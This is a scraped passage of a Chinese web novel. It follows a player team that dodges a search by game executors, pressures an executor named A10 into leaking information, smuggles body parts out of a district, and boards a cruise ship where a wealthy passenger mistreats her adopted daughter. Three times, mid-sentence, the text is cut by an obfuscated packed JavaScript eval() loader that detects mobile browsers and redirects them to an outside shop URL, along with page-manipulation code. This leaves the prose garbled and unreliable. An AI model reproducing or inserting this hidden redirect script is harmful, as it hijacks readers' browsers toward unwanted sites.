江意上前拦住退路,微微偏头:“进去啊,我没说不同意。” 屠宰场众人面面相觑,A10骑虎难下,只能哆嗦着挥手:“分、分组搜查!18楼玩家初与序和景明垂家,17楼查剩下三个男生的!” 十分钟后。 “报告,1801和1802没有异常。” “1701、1703也干净,但1702私藏的草莓牛奶要带走吗……” 随歌猛地冲进屋:“这个不行!” “……” 屠宰场的人翻箱倒柜却一无所获,1802的冰箱空空如也,1801连根头发都没有。17楼三个男人的住处更是干净,哦,除了1802随歌私吞的好几箱草莓牛奶和从S23那里顺来的零食。 初与序靠在墙边,冷冷地看着他们翻箱倒柜。康安的残肢早被转移到向枝冥家,这些人注定一无所获。 A10额头渗汗,挤出一个难看的笑:“查、查完了,打扰了……” 他刚要带人撤退,冬逢初突然抬手,按住电梯按钮,门“唰”地闭合。而剩下五人上前几步,将屠宰场几人包围起来。 “你们查完了。”江意轻轻笑了一下,“现在到我们了。” A10的冷汗瞬间浸透后背制服:“什、什么?” 他话音刚落,楼梯间传来急促的脚步声,向枝冥和安楚冲上来找随歌算账,D19也跟在后面。他朝江意笑了笑:“半个小时。” “够了。”江意点头。 “刚好刚好!”随歌一看到向枝冥和安楚就乐了,顺手抄起走廊的灭火器,“先别急着找我算账,一起来自由搏击!” 冬逢初已经一脚踹翻最近的屠宰场成员,景明垂反手扯下窗帘“唰”地遮住走廊窗户,遮住外界的视线。 “别用武器,系统可以检测到。”江意提醒,同时拽住A10的后领,“初与序,借一下你家。” 初与序正把一个壮汉的脑袋按在墙上,头也不回:“好的。” 江意拖着面如死灰的A10进了1802,“咔嗒”一声反锁了门。 走廊立刻化作修罗场。向枝冥踹得人嗷嗷直叫,安楚笑吟吟用符纸把人黏在墙上,随歌抡着灭火器当棒球棍,白闽甚至有空把被打飞的眼睛踢回给某个屠宰场成员:“接着!” D19蹲在一边看热闹,还顺手用屏蔽器干扰了楼下路过的某个执行官。 162.A10泄密 1802,暖黄的灯光下,江意坐在沙发上,长腿交叠,手指搭在膝头。明明是他坐着仰视站立的A10,却让年轻的执行官有种被俯视的错觉。 “坐。”江意指了指对面的椅子,声音平静。 A108咽了咽口水,腿已经站得发麻,但僵着没动:“你、你要说什么?” 江意没强求他坐下,只是盯着A10看了一会,忽然开口:“我知道你背着系统养了一只猫。”他抬眸,“银渐层,三岁,叫团子。” A10瞳孔猛地缩小,脸色瞬间惨白。他后退一步:“你怎么知道……你跟踪我?!” “是A12派你来了?”江意没有继续刚才的话题,问得轻描淡写。 A10死死咬出嘴唇,手指握拳,指甲掐进掌心。即使他知道江意早就看透一切,根本瞒不过他,却也不愿意亲口承认。 江意也不急,慢条斯理地打开电脑,键盘的敲击声在寂静的1802内像催命的鼓点。过了一会,他停下敲键盘,将电脑屏幕转向A10,密密麻麻的档案浮现: 【A10违规记录】 「篡改武器库出入记录,贩□□给玩家(3次)」 「向屠宰场泄露副本情报(7次)」 「私自挪用系统能量换取食物,投喂流浪猫(19次)」 …… 里面写满了A10这些年来窃取同僚功劳、私通玩家倒卖副本情报、篡改系统记录等等一系列违规事件,单拎出来一条就够A10喝上一壶。 “这些事,”江意点了点屏幕,“A12知道多少?”他微微歪头,“如果他发现,自己最忠诚的下属其实一直在中饱私囊,你觉得他会保你,还是甩锅给你?” A10的呼吸明显急促起来,他声音发颤:“你到底想怎样?!” “别紧张,我是想帮你。”江意合上电脑,直视A10的眼睛,“你知道A12最近在别离山做了什么吗?” “别离山的监控删得很干净。”他淡淡道,“但A12最近删除的,可不只是康安的死亡记录,还有三次从别离山绕到执行官宿舍的轨迹。你猜,他去找谁灭口?” A10也不傻,江意差不多已经明说出来了。A12删除这么多监控,是因为他要灭口的,不是康安,还有所有知情的执行官,包括A10。 他抬起头,眼底闪过一丝慌乱。 此刻,屋内走廊,向枝冥一个利落的过肩摔把一个屠宰场成员撂倒在地。随后一屁股坐在D19旁边:“打累了,歇会儿。” D19转头看他:“你倒挺会打架的,以前练过?” “没,但打多了就会了。不过屠宰场这群人肉沙包打起来手感真差。”向枝冥说着,从口袋里摸出烟盒,熟练地抖出一根。 烟刚叼到嘴边,初与序正巧从旁边经过,眼疾手快地抽走两根,动作快得D19都没反应过来。 “哎你……”向枝冥刚要抗议,就见初与序若无其事地把烟藏进自己口袋,还朝他使了个眼色。 向枝冥顺着她的目光看去,景明垂正站在不远处,扎着的双马尾在打斗中微微散乱。他移回目光,又听初与序说:“瞒着景明垂拿的,我劝你也藏好,上次她把冬逢初的也收走了。” “……”向枝冥无奈地点点头,又打算点上自己那根烟的火,却被初与序拦住:“去吸烟室,走廊人多。” 向枝冥明白过来,立刻把烟盒塞回口袋:“一会去吸烟室抽。”说完,还心虚地瞄了眼景明垂的方向。 1802内,江意重新靠回沙发:“我们可以给你一条活路,但你要想清楚,站哪边。” 漫长的沉静后,最终,A10哑着嗓子开口:“……A12长官可能会甩锅给我,但他实实在在救过我,也不止一次帮过我。”他缓缓抬起头,颤抖地按住自己胸前的执行官银牌,“你们可以随便处置我,但我不会背叛他。” 江意勾起唇角:“A10,合作和背叛,并不冲突。” A10皱起眉,抬头看着江意:“……你什么意思?” 江意静静地看了他几秒,忽然轻笑一声,站起身,走到A10面前。他比A10高出半个头,投下的阴影将对方笼罩。 “我不需要你现在回答。”他轻轻拨开A10放在执行官银牌上的手,“我会给你足够的时间考虑,直到A12把你出卖。” 他忽然俯身,凑近A10,薄唇贴近对方的耳畔: “你的猫很可爱,祝它一直好好的。” A10如坠冰窟,他猛地推开江意,脸色煞白:“你把我的团子怎么了?!” 江意表情不变,微笑道:“我没有干什么,只是请人照顾了它一下。” “你……”A10声音发抖,转身就推开大门往外冲,满脑子只剩自己的猫。 走廊上,屠宰场的人横七竖八倒了一地,鼻青脸肿地哼哼唧唧。初与序揉了揉手腕上的擦伤,白闽正笑嘻嘻地给一个昏迷的倒霉蛋画胡子。 A10冲出来时,白闽抬头瞥了一眼,挑眉看向慢悠悠跟出来的江意:“闺蜜啊,你把人家执行官咋了?” 江意耸耸肩:“没怎么。”他扫了眼地上呻吟的屠宰场成员,语气平淡,“你们可以走了。” 那群人互相搀扶着爬起来,其中一个满脸淤青的玩家狠狠地瞪了初与序一眼,突然从口袋里掏出一封信,“啪”地拍在她手上。然后像是生怕她追过来,头也不回地冲向楼梯间。 随歌探头看了眼楼梯:“这可是十八楼,他跑下去腿得废。” 初与序撕开信封,里面是张皱巴巴的纸,写满了“畜生”、“必死无疑”之类的辱骂,末尾还画了个血淋淋的砍刀图案。全篇都是不堪入目的脏话和威胁,但根本没提康安的事,显然不能作为证据。 “恐吓信?”白闽凑过来看了一眼,嗤笑出声,“连个指纹都没有,怂包。” “无聊。”初与序随手把信揉成一团,精准投进垃圾桶。 就在初与序看信的时候,管理员宿舍,A10几乎是撞开门的,胸口剧烈起伏,额前的碎发都被冷汗浸湿。他的视线环视整个房间,最后落在房间中央。 C13和S23正蹲在地毯上,围着一团毛茸茸的银渐层。S23手里举着根猫条,一脸挫败:“嘬嘬嘬……不对啊C13,你说它怎么不亲我呢?” C13无奈:“呃,可能是你把它当狗了。” “你们干什么?!”A10一个箭步冲过去,抄起猫护在怀里,警惕地后退两步。 “什么干什么?”S23不服气地站起来:“好心当作驴肝肺,人意哥让我们帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890464|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你照顾你家团子呢!给它喂成球了都。” A10一愣,低头检查怀里的猫。团子懒洋洋地“喵”了一声,肚皮圆滚滚的,毛上还沾着点猫娘碎屑,显然被喂得心满意足。 “既然你回来了,那我们就先走了。”C13将自己的小辫子拨到脑后,走到门口又回头,“对了,意哥买了点猫粮,放你柜子里了。” 门关上后,A10慢慢滑坐在地,团子从他怀里挣脱,欢快地扑向新拆封的猫罐头。 “咚咚咚。”宿舍门被敲响,一位执行官探头进来,“A10,开会了。” A10张了张嘴,重新站起身,来到处罚区大厦的会议室。 A12坐在长桌尽头,手指缓慢地敲击着桌面。会议室里鸦雀无声,所有执行官都低着头,不敢与他对视。而A10坐在角落里,想着心事。 A12突然锁定他:“A10,中午的搜查结果?” “啊……”A10立刻站起身,咽了咽口水,声音却平稳,“玩家初与序他们应该已经把康安的残肢转移了位置,我们没有找到任何东西。” A12眯起眼,似乎在判断他话里的真假,最终只是冷冷地“嗯”了一声,转头继续道:“明天,借着系统例行检查的机会,把整个D区翻一遍,还有所有和他们队伍熟悉的玩家家里。” A10坐回座位,掌心里全是冷汗。 会议很快结束,他刚起身要走,A12的声音从背后传来:“A10,留下。” A10脚步一顿,心跳漏了一拍。没办法,他缓缓转身,低头站定:“是,长官。” A12坐在长桌尽头,审视着他,房间里只剩下他们两人,安静得可怕。终于,A12指了指对面的椅子:“坐吧。” “是。”A10谨慎地坐下,双手平放在膝盖上,努力控制着心跳。 “你最近表现得不错。”A12突然开口,说的话是A10意料不到的。A10猛地抬头看她,眼底全是错愕。 “别紧张。”A12的嘴角扯出一个罕见的、近乎温和的弧度,“在一众执行官里,你做事最稳妥,也最让我放心。” A10的喉咙发紧,低声道,“谢谢长官。” “康安的事,你处理得很干净。”A12的声音里带着几分赞许,“虽然今天没找到他的头和右手,但我不怪你。初与序那几个人,确实不好对付。” “我需要你继续调查,蹲守在D栋楼下,监视着他们的一举一动。” A10点点头:“好的,我会的。” A12站起身,拍了拍A10的肩膀:“我很看重你,A10。别让我失望。”说完,他转身离开。 会议室的门关上后,A10才缓缓吐出一口气。 他独自站在处理区大厦后门,永冬之城的寒风刀子刮过脸颊。随后颤抖着手打开自己面板,手指悬在【江意】的通讯界面上,迟迟没有落下。 A12的“看重”是真是假,他并不知道,但现在已经不重要了。此刻,A10比任何人都要清楚,自己已经站在了悬崖边缘,随时会死。 最终,他还是发出一条简短的信息: 【明天A12行动。】 发完这条消息,他立刻关闭面板,转身走进风中,似乎再多看一眼就会后悔。 163.带出人民碎片 D区吸烟室内,向枝冥叼着烟,懒散地靠在单人沙发上,压低声音: “知道不?永冬之城暗网(这几个字用口型说的)刚爆了个猛料。”他弹了弹烟灰,“你们之前进入的《死亡电梯》副本里那栋大楼,现实中是屠宰场首领和原二把手建的。” 冬逢初靠在长沙发上,手臂随意搭在靠背上。初与序倚在他身边:“难怪上次在副本里,追杀我们的原二把手对地形很熟悉。” “我记得他们在那栋大厦开了一家公司。”向枝冥想了想,“叫什么……‘新星未来’教育集团,好像是一个高端留学机构?不过我觉得那什么机构肯定骗人钱。” “……” 听到熟悉的名字,初与序和冬逢初对视一眼。冬逢初淡淡道:“巧了,随歌之前提过这家公司,并不是什么留学机构,里面的人干了很多非法的事情。” “我就知道那里不是什么好地方。”向枝冥翻了个白眼,烦躁道,“不止有《死亡电梯》,永冬之城的一小部分副本也是和现实挂钩的,包括玩家和玩家之间。” 冬逢初道:“说来听听。” 向枝冥抬眼:“比如系统每年拉新人玩家的规则,是先在现实世界锁定一个‘不幸的人’,再从他所在地附近拽另一个‘不幸的人’进来,一环扣一环。比如五年前北京的意哥和随歌,四年前安徽的我和…安楚,以及今年的你们俩和景明垂。” 同一个地方?可景明垂是江苏的,自己与冬逢初是安徽人。 初与序正要继续问话。吸烟室的门突然被推开。 江意面无表情站在门口,面板打开,上面显示着A10发来的消息。 三人愣住,初与序一个弹射起步冲过去:“意哥?你怎么进来了?这里是吸烟室。” “只待几秒,不会影响的。”江意后退两步,目光又落在她手里的烟上,凉凉道,“景明垂不是不让你吸烟吗?” 初与序动作一顿,叹了口气,转身把烟头摁灭在烟灰缸里。 冬逢初也掐灭烟头,顺手把初与序的大衣递给她。等江意打开临时系统监听屏蔽器,他才开口询问:“A10的消息?” “是的。”江意点头,把面板转向他们,“明早A12要全面搜查D区,包括所有和我们有关人的住处,你们提前准备一下。” 冬逢初打开面板,调出明天的副本安排,看了一眼:“下一个副本是明天上午九点,队友正好是我们三个。” 向枝冥探头看了一眼:“副本信息呢?” “让D19屏蔽了,怕屠宰场的人看到跟进来,目前我们也看不见。”冬逢初顿了顿,又皱起眉,“但A12的搜查时间也是九点左右,我们只有很短的时间转移康安的头和手。” “所以我们要在A12眼皮底下,拎着人头和断手跑路?”向枝冥不可置信地抓了抓头发,“u谷说的没错,和你们队一起合作准没好事。” 他话刚说完,四人就听见外面隐约传来景明垂的声音:“初与序在这里吗?” 初与序浑身一僵,压低声音:“康安的头和手还在向枝冥家,明天找人在801拖住搜查队,景明垂从阳台把袋子扔下来,我们在楼下接。” 说完,她立刻来到后屋,推开后窗,寒风呼啸而入,吹散了些许烟味。她翻身跃上窗台,一条腿已经跨出窗外:“别和景明垂说在吸烟室见过我。” 冬逢初喊住她:“我做了晚饭放我家冰箱,你的通行卡可以直接进屋。” “知道了!” 初与序翻身跃出,身影消失在夜色中,留下江意、冬逢初和向枝冥面面相觑。没等他们彻底反应过来,门被景明垂推开:“看到初与序了吗?” 三人齐刷刷摇头:“没看见。” 景明垂:“……看到她和我说。” 三人对视一眼,乖巧点头。 次日早上八点二十,永冬之城论坛突然炸开: 【紧急通知:D区及周边区域即刻起进入全面搜查状态,所有玩家请配合执行官工作。】 整座永冬之城立刻沸腾,D区主街道上,A12带着数十名A编号执行官列队逼近,黑色制服在刺骨寒风中翻飞。他们迅速分散,封锁了D区的每一条通道,甚至连附近的C区和B区都被围得水泄不通。 路过的玩家们惊愕地停下脚步,有人迅速低头避开视线,有人小声议论起来: “我操,A12?” “出什么事了?D区玩家又犯事了?还是之前康安的失踪案有结果了?” “暗网刚更新了!说是搜查违禁物品。” A12面无表情地站在D栋楼下,抬头望向十八楼的窗户,冷声下令:“搜。” 急促的敲门声…应该是砸门声响起,随歌打着哈欠拉开1802的门,揉了揉黄发:“你们执行官大早上的,打鬼呢?” A12身后的执行官一时间愣住,这里不是初与序家吗? “例行检查。”A12冷冷地扫了他一眼,“论坛上系统通知过了,必须配合。” 江意从1801走出来,语气平静:“搜查令呢?” A12冷笑一声,调出系统面板:“系统授权,全程搜查。” “早上好。”安楚靠在门框上,笑眯眯地插话,“你们这么大阵仗,是丢了金子还是跑了队友?” A12懒得理会他的挑衅,直接问:“1801和1802是景明垂和初与序的家,她们人呢?” “初与序?”随歌装作一脸茫然,“她不是和冬逢初私奔了吗?”说着他又看了看江意,像是在确认自己说的是不是真的,“还有景明垂,她昨晚去B区找白闽了。或许迷路了,需要你们执行官帮忙找找?” “说梦话呢?”A12眯起眼,显然不信,直接挥手示意手下,“把整个D栋都搜一遍,尤其是十八楼和八楼!” 就在几个执行官正要往八楼冲时,随歌一个箭步挡在楼梯口,笑容灿烂:“哎呀呀几位执行官大哥别急啊!我有个重要的问题!” “你们搜查的时候……会不会顺便帮忙修水管?” 执行官:“……什么?” “我家浴室水管漏水啊!就1702!”随歌痛心疾首地比划,“哎哟喂!哗啦啦的,都能养鱼了!你们执行官不是万能的吗?顺手修一下呗?” 执行官气得大骂:“我们是来搜查的,不是来当维修工的!” “诸位,稍安勿躁。”安楚往电梯口一靠,温和地笑道,“贫道刚才算了一卦,今日辰时,忌搜查,宜喝茶。” 执行官们集体沉默。 而就在三人胡编乱造试图拖延时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890465|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间时,D栋后方,初与序蹲在灌木丛后,冬逢初和向枝冥一左一右守着。 801卧室的窗帘微微晃动,一根琴弦垂下,末端系着一个鼓鼓囊囊的黑袋子。初与序抬头,看见景明垂的身影站在窗边,手指轻拨,控制着琴弦缓缓下降。 向枝冥伸手接住袋子,朝景明垂比了个手势,随后拉开袋子检查,康安的头和手完好无损。 “撤。”初与序简短道。 而十八楼,A12站在走廊中央,看着被随歌和安楚搅得鸡飞狗跳的手下,忍无可忍地吼道:“别管这两人了行不行!把他们带到处罚区审问,其他人直接去八楼!” D19和C13匆匆赶来,C13从口袋里掏出一个仅有掌心大小的黑盒子,表面刻着勿忘我花朵的纹路。 “压缩空间盒,我偷J23的,能装下任何东西。”C13低声解释,打开盒盖。 向枝冥将装着康安残肢的黑袋子小心翼翼地塞了进去,袋子在接触盒口的下一秒,像被无形的力量压缩,眨眼间消失不见。 “好东西啊。”向枝冥把盒子塞进自己口袋,拍了拍,“谢了,小心别让J23知道,否则她灭了你。” “那当然。”C13左右瞥了几眼,生怕J23突然出现在这里。 D19压低声音:“D区后门有个检修通道,但出口有执行官守着。”说着,他整理了一下胸前的执行官银牌,走向后门的守卫,“我去引开他们,你们跟着C13走。” C13用草丛遮住自己,压低声音:“你们太显眼了。”他看了看三人的装扮,开口道,“初与序和冬逢初把耳骨夹摘了,还有向枝冥的眉钉,你那玩意儿被阳光一照,哗啦哗啦闪的,能瞎了屠宰场的狗眼。” 初与序和冬逢初没有犹豫,同时摘下耳骨夹,揣进口袋里。向枝冥啧了一声,抬手摘掉眉钉:“我之前好不容易戳的诶,永冬之城这鬼天气,我都怕钉孔结冰。” 众所周知,向枝冥的眉钉孔是他不知道为什么,自己用针还是啥玩意戳的。初与序和冬逢初看了一眼他的钉子,有些心惊胆战地移开目光。 “跟我走。”C13对三人招招手。 四人贴着墙根移动,放轻每一步,尽量避免在雪地上留下明显的脚印。C13走在前面,带着三人绕开四周的执行官,朝着检修口的方向前进。 就在即将抵达检修口时,冬逢初忽然停下脚步:“A10?” 三人顺着他的视线望去,看见A10独自站在拐角的路灯下。灯光是惨淡的蓝色,他手指悬在执行官通讯器上,却始终没有点下。 最终,他垂下眼,将双手插进口袋里,面无表情转身,走进相反方向的雪地里。 C13松了口气,迅速推开检修口的盖子:“快走,往前就是车站,列车已经在那里了。” 初与序和冬逢初已经走远,向枝冥吊儿郎当还打算跟C13聊几句,被冬逢初拽着后领往外拖,还不忘回头冲C13嬉皮笑脸:“小朋友,下次还有这种‘借’来的好东西,记得再找我们啊!” “小点声!要是J23问起来,你们咬死没见过这盒子!”C13顿了顿,压低声音,“还有什么小朋友……我已经13岁了……” “保证不告诉J23!”向枝冥留下一句话,飞速跟上另外两人。 164.蔚蓝海神号 临近中午用餐时期,优雅的广播声响起,柔和的女声提示午餐已经开始,乘客可前往三层各餐厅用餐。四人随着人流来到最近的一间餐厅,在一张靠窗的长桌坐下。 餐厅环境雅致,落地窗外是无垠的海景。刚落座,他们便注意到对面坐着的正是那位戴着珍珠项链的罗莎,和她身边那个安静的小女孩。 罗莎正微微皱眉看着菜单,似乎对某些选项不太满意。小女孩则乖巧地坐着,双手放在膝盖上,低垂着眼睫。 冬逢初动作自然地端起水杯,趁机调出面板,点开了【队友识别】功能,对准了小女孩。 【姓名A:艾米丽蒙特罗(Emily Montero)】 【身份:罗莎蒙特罗的养女】 【隐藏倾向:???】 【当前状态:服从/观察中】 冬逢初快速将这条简略的信息共享给了其他三人。 罗莎显然也注意到这几位东方面孔的年轻人,她带着审视的目光打量了他们一番,尤其是多看了齐无尽醒目的红发两眼,随后矜持地点了点头:“New passengers?I haven''t seen you before.(新乘客?之前没见过你们。)” 出于礼貌,冬逢初点了点头:“Yes,we just boarded.We''re from China.I''m Winter,these are mypanions:Chu,Xiang and Qi.(是,我们刚登船。我们来自中国。我是冬,这几位是我的同伴:初,向,齐。)” 罗莎似乎对他们的自我介绍兴趣不大,淡淡道:“Rosa Montero,And this is my daughter,Emily.(罗莎蒙特罗。这是我女儿,艾米丽。)” 艾米丽这才抬起头,露出一张精致的脸,碧蓝的眼睛飞快扫过四人:“…Hello.”随即又低下了头。 向枝冥配合地扬了扬手,齐无尽微微颔首,初与序回以一个浅淡的笑容,算是打过招呼。 接下来的午餐像是在一种诡异尴尬的氛围中进行,罗莎显然很享受成为焦点的感觉。她一边优雅地用餐,一边不时用戴着宝石戒指的手指轻点: “Emily,the salt.(艾米丽,盐。)” “Emily,my napkin.(艾米丽,我的餐巾。)” 身边的艾米丽不断为她做事,递盐、拿水,或者取远处她够不到的餐点,她沉默顺从地照做着,动作熟练。 与此同时,罗莎几乎向每一桌能搭上话的人展示她的珠宝,语气充满了炫耀: “This pearl necklace is a rare South Sea piece.(这串珍珠项链是稀有的南洋珠)” “The diamonds were specially cut in Antwerp.(这些钻石是在安特卫普特殊切割的。)” 她的目光扫过对面四人,显然不打算放过他们。她手指抚过颈间的珍珠项链,刻意让它们在灯光下散发出光泽。 “This piece is from my private collection.Each pearl is perfectly matched.Quite exquisite,don''t you think?(这是我私人收藏的一件,每颗珍珠都完美匹配,非常精美,你们觉得呢?)” “Indeed.(确实。)”冬逢初颔首,向枝冥扯出假笑:“Nice。(不错。)” 这种过于简单的回应显然让罗莎感到无趣,她的目光迅速从他们身上移开,又找到其他乘客,重新开始介绍。 大部分乘客出于礼貌,都报以微笑或客套的恭维。然后,邻桌一位银发女士似乎受够了她的聒噪,她放下刀叉,声音带着不容置疑的威严: “Madam,some of us are trying to enjoy our meal in peace.Perhaps you could allow your child to wat as well?(女士,我们有些人想安静地享用午餐。或许您也能让您的孩子吃点东西?)” 罗莎的笑容立刻冻结,脸上闪过一丝被冒犯的恼怒。但她似乎不愿在公共场合与一位陌生人争执,只是冷冷回了句:“How uncouth.(真没教养。)” 她猛地转过头,将所有的火气倾泻在最容易拿捏的对象上。她用力夺过艾丽米正准备递来的水杯,动作之大让热水溅了出来,几滴落在小女孩的手背上。 “Clumsy,girl!Look what you''ve done!Can''t you do anything right?(笨手笨脚的丫头!看看你干的好事!你什么事都做不好吗?)” 艾米丽飞快低下头,把被烫到的手藏在了桌下,一声不吭。 坐在对面的向枝冥看到这一幕,撑着脸,用中文吐槽:“好大的威风呐,也就只会欺负小孩子了。” 他语气里充满讥讽,反正周围这群老外大概率听不懂中文,下一秒—— “你说的对。” 一个带着笑意的女声就从他们身后不远处响起,字正腔圆的中文带着几分调侃。 四人同时回头,只见一位穿着船员制服、金发碧眼的年轻姑娘正倚在餐柜边,手里端着一杯咖啡,笑吟吟地看着他们。她看起来二十出头,气质干练。 见到他们惊讶的眼光,她耸耸肩:“别意外,我在上海交通大学做过一年交换生,中文已经学得很溜了。” “啧,失策失策。”向枝冥愣了一下,随即失笑,朝另外三人感叹了一句,“要是u谷那家伙说中文能有这姑娘一半利索就好了,每次听他说话还需要回北翻译。” 年轻姑娘上前几步,朝罗莎的方向抬了抬下巴:“认识一下,我叫安娜贝尔 肖(Annabel Shaw),是蔚蓝海神号船长的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913182|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,偶尔帮忙招待客人。那位罗莎夫人,是我们的常客了。” “她几乎每个航季都会来度假,次次都带着她的养女艾米丽,还有她那串视若生命的珍珠项链,恨不得向全船的人广播一遍它的价值。”安娜贝尔的语气里带着无奈,“我们都习惯了,也懒得管。” “反正她花钱大方,只要不惹出大麻烦,父亲通常让我们尽量满足她的要求。就是苦了那孩子…” “好了,不打扰各位用餐了。”安娜贝尔笑了笑,恢复了职业性的礼貌,“祝你们旅途愉快,如果有什么需求,可以随时找我。” 她指了指自己制服上的名牌,随后转身离开了。 四人对视一眼,冬逢初收回目光:“看来不能在这艘游轮上随时随地用中文发言了。” “你不会打算让我们学意大利语交流吧?”向枝冥转头狐疑地看向他,“我可学不会,能不能换成手语?” 冬逢初:“……” 就在安娜贝尔刚离开没多久,餐厅内又发生了不大不小的骚动。 罗莎的怒火显然并未平息,很快,她的视线锁定在一位正小心翼翼地更换成餐具的年轻男服务员身上。 “You!”她毫不客气地指向他,“Vic Lane,isn''t?Look at this!(威客莱恩,是不是?看看这个!)” 叫维克的服务员立刻转过身,紧张地快步走来:“Yes,Madam Montero?Is there anything wrong?(是的,蒙特罗女士?有什么问题吗?)” 罗莎用手指重重点在她面前那杯几乎没动的红酒上:“This wine is clearly off!Are you trying to serve me vinegar?How dare you!I demand to speak to the ma^itre d''immediately!(这酒明显变质了!你想拿醋糊弄我吗?你怎么敢!我要立刻见你们餐厅经理!)” 维克的脸立刻白了,他端起酒杯抿了一口,连忙解释:“Madam,I assure you,this is the same vintage you always enjoy.Perhaps it just needs to breathe a little……(女士,我向您保证,这和您一直享用的是同一批佳酿。或许它只是需要醒一醒……)” “Are you questioning my palate?(你是在质疑我的品味吗?)”罗莎大声打断他,“I know spoiled wine when I taste it!This is unacceptable!Your service is as sloppy as your appearance!(我一口就能尝出变质的酒!这不可接受!你的服务就像你的外表一样糟蹋!)” 四人对视一眼,皱眉听着他们之间的争执。 165.蔚蓝海神号 罗莎的言辞刻薄并侮辱人,维克紧紧抿着唇,但依旧低着头:“My deepest apologies,Madam,I weill fetch the manager at once and have your wine replaced.(万分抱歉,女士。我立刻去请经理来为您换酒。)” 他几乎是小跑着离开。很快,一位穿着正式西装,神色严肃的餐厅经理快步赶来,对着罗莎连连鞠躬道歉。 尽管经理一再解释酒没有问题,并愿意为她免费更换任何其他饮品,但罗莎依旧不依不饶,坚持要投诉维克 莱恩“服务不周、态度恶劣”。 最终,在罗莎咄咄逼人下,经理不得不妥协。他转向脸色惨白的维克,低声说了几句。维克的身体僵硬了一下,头垂得更低,双手紧紧攥住衣角。 “发生了什么?”向枝冥只听得懂几个词,一脸茫然地看着经理和维克,“他和维克说了什么?” 冬逢初把整件事的经过和他重复了一遍:“经理和维克说:‘莱恩先生,鉴于屡次遭到投诉,你被解除餐厅服务职务,直至本次航行结束。去找事务长报到,等待重新分配。’” “屡次投诉?”齐无尽挑眉,用中文道,“怕不是次次都来自这位女士吧?” 维克 莱恩的头垂得更低了,肩膀垮塌下来,低声回了句:“Yes,sir.”然后他飞快解下了代表餐厅服务的领结和名牌,交给了经理。转身离开时,他眼神晦暗地快速瞥了罗莎一眼,那里面的屈辱和愤恨几乎要溢出来,但他快速收敛了,只是沉默地走开。 罗莎这才像是赢得了某种胜利,冷哼一声,重新坐直身体,整理了一下她那串闪亮的珍珠项链。 经理安排了另一名服务员接替了维克的工作,周围陷入一阵短暂的尴尬寂静,不少乘客面露不适,但没人出声。 向枝冥摇了摇头,叹道:“我嘞个乖乖,直接给人撤职了。这梁子结大了,估计后面得出事。”他看向身边三人,“所以我们接下来去哪里?主线剧情到现在都没触发呢。” 冬逢初托着下巴,开口:“去图书馆看看吧,这种远洋游轮的图书馆,应该会收藏一些这片海域的民间传说或地方志?” “走。”初与序用湿巾擦了擦手,站起身。 游轮的图书馆位于第七层,环境幽静。巨大的落地窗外,是一望无际的海面。这里充斥着旧书和实木家具特有的淡香。书架高耸,排列着各种语言的书籍。只有零星几位乘客散落在角落,安静阅读。 向枝冥环顾四周,顺手从书架上抽出一本厚厚的精装书,瞥了一眼书名,是一本海洋鱼类图鉴,他又塞了回去。 冬逢初径直走向标注着“海事历史与地方志”的区域,初与序则穿梭在文学区,试图寻找任何可能与异常事件相关的传说。 齐无尽靠在巨大的落地窗边,抱着手臂,目光投向远方海天一色的交界线。 “这里的书也太多了,跟大海捞针似的。”向枝冥看着几乎望不到头的书架,压低声音,“再说了,真正要命的线索,哪会正大光明写在书里。” 齐无尽闻言转过头,朝不远处看去:“直接问知情者效率更高。” 三人顺着他的视线望去,只见安娜贝尔 肖正半蹲在地上,笑容灿烂地和艾米丽说着什么。小女孩虽然依旧没什么表情,但眼神比在罗莎身边柔和了许多,偶尔还会轻轻点一下头。 “她们看上去关系不错。”初与序道。 四人走过去,冬逢初温和地开口:“安娜贝尔小姐,艾丽米,又见面了。” 安娜贝尔抬起头,看到是他们,笑着站起身:“是你们啊。我记得下午游轮有泳池派对,怎么跑到图书馆来了?” “我们想找找关于这片海域有没有什么特殊的传说,或者故事。”初与序实话实说。 安娜贝尔眨了眨眼,思考后说道:“图书馆的书上记载的东西很多都是糊弄游客的。不过…我小时候确实听老船员讲过一些不一样的故事。” 她弯下腰,轻声对艾米丽说:“小艾米丽,想一起去听听故事吗?就我们几个。” 艾米丽抬起头,很明显听得懂中文。她湛蓝的眼睛看了看安娜贝尔,又快速扫了一眼初与序四人,轻轻点了点头。 “请跟我来吧。”安娜贝尔对四人招招手,压低声音,“这里说话不方便,我知道有个安静的小休息室。” 她领着五人穿过图书馆侧面的走廊,推开一扇不起眼的门。里面是一个布置得相当舒适私密的休息间,隔音很好。 